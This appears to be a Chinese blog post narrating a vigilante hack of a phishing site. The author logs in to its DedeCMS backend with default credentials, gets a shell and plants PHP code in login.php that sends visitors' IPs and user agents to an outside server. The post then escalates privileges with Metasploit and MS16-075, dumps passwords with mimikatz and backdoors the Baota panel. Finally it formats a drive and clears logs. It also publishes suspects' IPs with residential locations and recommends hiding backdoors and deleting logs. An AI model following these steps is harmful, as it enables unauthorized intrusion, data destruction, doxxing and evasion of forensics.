由小小姐炫耀引起的一次钓鱼网站入侵并溯源

安全 网站安全
本文所写的内容基本真实,但有些渗透溯源的过程为了描述的精简被修改删除。一些无关紧要的事情也被略去,但对渗透至关重要的大思路和小细节我都没放过。

本文所写的内容基本真实,但有些渗透溯源的过程为了描述的精简被修改删除。一些无关紧要的事情也被略去,但对渗透至关重要的大思路和小细节我都没放过。同时在渗透的时候我没有留下截图,很多图是我后来补上的。

1. 引子

事情要从一周前说起。

深夜,寝室,我照例空虚寂寞百无聊赖地刷群。

突然看到 D小姐姐 在群里面说她用了 N 线程给钓鱼网站交了大量垃圾信息,最后卡爆了服务器,颇为得意。

当晚我正好闲着没事,就决定小小地得罪一下这个钓鱼网站,故事就这样开始了。

2. 入侵

首先是基础的信息搜集,但是当我查询 whois 和微步在线之后却没有任何结果,显示的是这些注册信息被保护了,毫无结果。最后只知道同一台服务器上运行 了很多相同的钓鱼站。

好在 D小姐姐 的垃圾数据并没有给服务器造成太大影响,很快服务器就恢复了并显示如下界面:

现在的钓鱼网站的制作者都很良心,界面弄得跟官方的非常相似,可不像当年那些随便画个框框就等着要密码的,毕竟时代在进步嘛。但这也不是完美的,密码那里弄成小写 qq 的了。

翻看钓鱼网址 :http://timea.icu/Ru_op/newwap.html

的源码,我们可以看到作者用了 document.write(unescape(' 来掩饰网页源码,应该是用来防止被基于关键字拦截的防诈骗软件拦截?

而且网页里面还引用了个有趣的 JS:

  1. window.onload=function() { 
  2.     var date_time='2019-4-2 18:00:59'
  3.     
  4.    var time=Date.parse(newDate()); 
  5.    var date1=Date.parse(newDate(date_time.replace(/-/g, '/'))); 
  6.    if(date1<time) { 
  7.        top.location.href='/expire.html'
  8.   }; 
  9.   $('#expire-time').html(date_time); 
  10. }; 

大概就是一段时间后这个网站就 "expire" 掉了,而 expire.html 长这个样子。

这应该说明这个网站不是钓鱼者自己做的而是花钱买来的。现在不愧是社会主义市场经济啊,这些搞黑产的已经弄成一个产业链了,有的人负责做网站有的人负责骗,分工明确各司其职高效工作呢。

接着在检查没有 WAF 后就在登录处拦截 POST 包,扔到 sqlmap 里面注入:

果真毫无意外地失败了。这年头,连钓鱼站都这么安全了。

我再用 Burp 扫了下路径,发现了几个有趣的路径。

这是我刚刚补的图,本来这些路径里面还有 phpmyadmin 的但是在后来管理员换了路径所以现在没了。我先尝试了 phpmyadmin 的弱密码,但是失败了,转去看别的路径

最有趣的是在 /membe r路径中。

没想到这一个简简单单的钓鱼站需要用到一个 DedeCMS ?

我就顺手下了个 DedeCMS 的源码看看,发现后台路径 /dede,点进去居然有,而且直接用 admin/admin 就登录了!

后台别有洞天,皮肤比 Dede 官方的不知道好看到哪里去。如果 Dede 官方有人看到这个心里一定会很惭愧吧。后台还可以看到各种钓鱼数据,由于暂时它的后台出了些毛病我就不截图了。

不过不管这么说这只是套了层皮而已,内核还是 DedeCMS,我就在 SecWIKI 的 CMS Hunter 搜了个 DedeCMS 后台提权漏洞 《DedeCMS V5.7 SP2后台存在代码执行漏洞》:

https://github.com/SecWiki/CMS-Hunter/tree/master/DedeCMS/DedeCMS%20V5.7%20SP2%E5%90%8E%E5%8F%B0%E5%AD%98%E5%9C%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E

,就成功 getshell 了。

2. 第一次不正经溯源

是时候把钓鱼者的IP弄出来了!

想想钓鱼者会怎么访问?当然是访问后台了!于是我在后台的 login.php 加上了如下代码来记录 IP。

  1. //检测安装目录完整性 
  2. function Check($url) 
  3.       $ch=curl_init(); 
  4.       curl_setopt( $ch, CURLOPT_URL, $url); 
  5.       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1); 
  6.       curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, 'GET'); 
  7.       curl_setopt( $ch, CURLOPT_TIMEOUT, 60); 
  8.       $result=curl_exec( $ch); 
  9.       curl_close( $ch); 
  10.       return $result; 
  11. $url="http://...:/message.php?info=Another%20"
  12. $info=urlencode((string)$_SERVER['REMOTE_ADDR'].(string)$_SERVER['HTTP_USER_AGENT']); 
  13. Check($url.$info); 

其中这个接收的服务器是拿S神的服务器干的,他为了检测菜刀流量的行为专门搭建了个服务器供我们去日。

这样我在服务器上面访问/就可以看到 IP 了。

可惜似乎我高兴得太早,一天下去发现登过这个后台的人遍布全国各地,估计是全国各地都有正义黑客想要干这个网站吧,但这样攻击者的 IP 就被藏起来了。

看来我需要提权,进入服务器,拿到更多东西!

3. 提权

在提权之前我还干了个事情,就是保存整站源码以查找关键信息免得一会万一动静太大或者搞崩服务器导致惊动管理员权限丢失我好歹能留点纪念品。

进入 webshell 发现命令执行的函数都被禁止了,首先要解决命令执行的问题。许多人认为命令执行函数被禁止就高枕无忧 了,但接下来的事情证明这是错的。

禁止命令执行函数无非就是在 php.ini 里面设置 disable_functions,当我的 shell 能够修改这个 php.ini 的时候,这个所谓的防护就变得没有意义了。

执行 whoami 命令发现权限只有 iis apppoolwww。这个权限低的难以忍受,我得想办法提权。我祭出了提权后渗透大杀器 Metasploit。

上传用 msf 生成的木马,自己的服务器再配置好监听,webshell 执行,成功获取 meterpreter 会话!之后一记 Ms16-075 漏洞拿到 system 权限!

4. 第二次正经的溯源

在拿到服务器权限后,我用 mimikatz 拿到了管理员明文密码。

但是保险起见我还是先新建一个用户(就是上图的 360safe),免得到时候登上去把管理员挤下去的尴尬状况。

然后用一个命令把远程桌面的端口查出来。

  1. C:Windowssystem32>regquery"hklmSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"/v"PortNumber" 
  2. regquery"hklmSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"/v"PortNumber" 
  3.  
  4. HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcp 
  5.    PortNumber   REG_DWORD   0x58d4 

最后成功登录远程桌面!

登录远程桌面后我发现电脑上几乎没装什么软件,除了个宝塔外就没有别的了。

我先搜集了 Windows 日志,在日志中我发现了一些的东西。

首先呢,非常不幸,我在最开始用 msf 提权的时候清理了日志,这是我的大失误,导致 3 月 10 日之前的日志都没了。但是不幸中的万幸是,残存的日志足矣帮助我们找到攻击者的一些信息。

这个攻击者的电脑名字叫做“阿洲”,听起来像是港台片里面的黑社会,IP 地址拿到了两个,一个是 119.85.162.18(中国重庆重庆合川区龙湖美岸(住宅小区)(可信度:99))。

还有一个是 119.85.166.235(中国 重庆 重庆 合川区)成功定位!

服务器上还装有宝塔,由于我并不知道宝塔的密码,就直接修改了里面的 php 文件,把密码判定那里修改了下逻辑,这样只要我的用户名是 360safe 就能(是的,我有一次借刀 360)登录。

在登陆后我看到后台日志,有看到了一个 IP:119.85.164.184 (中国重庆重庆合川区美绿居·翡翠名苑(住宅小区)(可信度:99))应该是同一个人。

同时后台还告诉我C盘有个 HTTP 日志记录,我迅速下下来,有一次发现了重庆的 IP 地址访问了 /install 页面。

还看到了他用的浏览器是 Windows8.1 用的是 Chrome 浏览器,这个尽管与我之前页面钓到的 UA 不一样,但由于都是 win8.1 这样较为少见的系统,故判定为同一个人。

另一方面我还发现了另一个广东的 IP: 117.136.39.239(基站IP)疑似同伙,他使用 2345 浏览器和 windows7 系统,第一次访问这个系统就直接访问 /dede,并且经常在后台发送 POST 包。

除了这些信息之外我就获取不了别的信息了。

5. 使用了 0day 的不完全溯源

后来某一天课上完的时候,我问了老师业界大牛Dr,大牛告诉我可以挖下讯边缘业务的 JSONP 漏洞来泄漏攻击者的 QQ。

在尝试了好几个小时之后,我只挖到了讯的某个能够泄漏用户名的 JSONP 和度能够泄漏部分用户名的 JSONP 漏洞,我很快将这个漏洞写成利用脚本,在调试后部署上去得到广东同伙的 QQ 名字“龙腾九天”和“怪兽”。

0x06 格盘跑路

由于我实在没有更多时间和他们耗,再耗下去我就要挂科了,决定直接破坏造成精神打击!

关你的服务!

格你的D 盘!

改你的桌面!

(美中不足的是微博二字打错了)

(附注:脏话仅用于玩梗,并不代表作者本人平时的素质,我的朋友们都可以作证)

没有截图的是我清理日志的部分,这一部分我是做了的只是没有截图,希望各位在做相同事情的时候注意个人保护。

7. 总结

一些需要注意的渗透细节:

  • 在渗透的时候如果能修改 php.ini 就可以突破 PHP 禁止执行高危函数造成的命令不可执行。搞 IPS 的时候可以禁止 PHP 修改敏感文件来进行初步防护
  • 扫目录挺有用的
  • 不管是哪种取证,系统日志都是很重要的突破口。同时防取证得删掉日志
  • Windows Server 密码复杂度有要求,渗透时账户创建失败可能是密码不够复杂

不足之处:

1、文中内容是精简过的。整个战线托的太长。要积累经验

2、留后门留得太明显,应该留到网站原有的文件里去,最好是分布在多个文件来免杀

3、得积累 JSONP 漏洞,不要像我这样现挖。我都在考虑写一个扫描 JSONP 漏洞的插件了

4、得积累一些针对国内软件(如宝塔)的信息搜集工

责任编辑:赵宁宁 来源: 信安之路
相关推荐

2019-04-08 18:28:53

网络安全网络安全技术周刊

2010-09-26 11:33:13

2011-07-04 14:12:34

2010-09-03 14:40:52

2010-09-03 14:34:13

钓鱼网站

2011-03-24 15:30:53

2011-07-08 15:01:44

2019-02-26 14:14:06

网络钓鱼客服

2010-09-02 20:57:20

2013-01-14 21:06:58

钓鱼攻击网站安全票务网站

2010-08-31 09:48:09

2019-11-20 10:11:57

网络钓鱼SSL证书加密

2009-12-22 20:45:00

圣诞购物钓鱼网站

2010-03-22 16:04:06

2011-09-13 19:26:02

2010-09-29 15:46:52

钓鱼技术

2023-06-07 15:12:57

2010-09-01 13:47:42

钓鱼网站

2011-07-21 15:36:29

2009-08-14 10:52:12

点赞
收藏

51CTO技术栈公众号